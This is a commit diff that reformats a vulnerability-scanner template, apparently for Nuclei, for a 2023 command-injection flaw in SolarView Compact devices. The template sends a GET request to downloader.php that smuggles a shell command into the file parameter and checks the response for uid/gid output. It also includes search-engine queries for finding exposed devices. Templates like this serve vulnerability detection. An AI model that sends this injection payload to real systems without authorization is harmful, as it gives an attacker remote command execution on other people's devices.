fix formatting
parent
33ebc314b7
commit
c4a8a6bd84
|
@ -20,8 +20,8 @@ info:
|
|||
max-request: 1
|
||||
shodan-query: http.html:"SolarView Compact"
|
||||
fofa-query: body="SolarView Compact" && title="Top"
|
||||
verified: true
|
||||
tags: injection,solarview,edb,packetstorm,cve,cve2023,rce
|
||||
verified: "true"
|
||||
tags: cve,cve2023,solarview,rce
|
||||
|
||||
variables:
|
||||
cmd: "id"
|
||||
|
@ -32,14 +32,19 @@ http:
|
|||
@timeout: 25s
|
||||
GET /downloader.php?file=%3B{{cmd}}%00.zip HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept-Charset: utf-8
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "uid="
|
||||
- "gid="
|
||||
condition: and
|
||||
- "text/html"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
|
Loading…
Reference in New Issue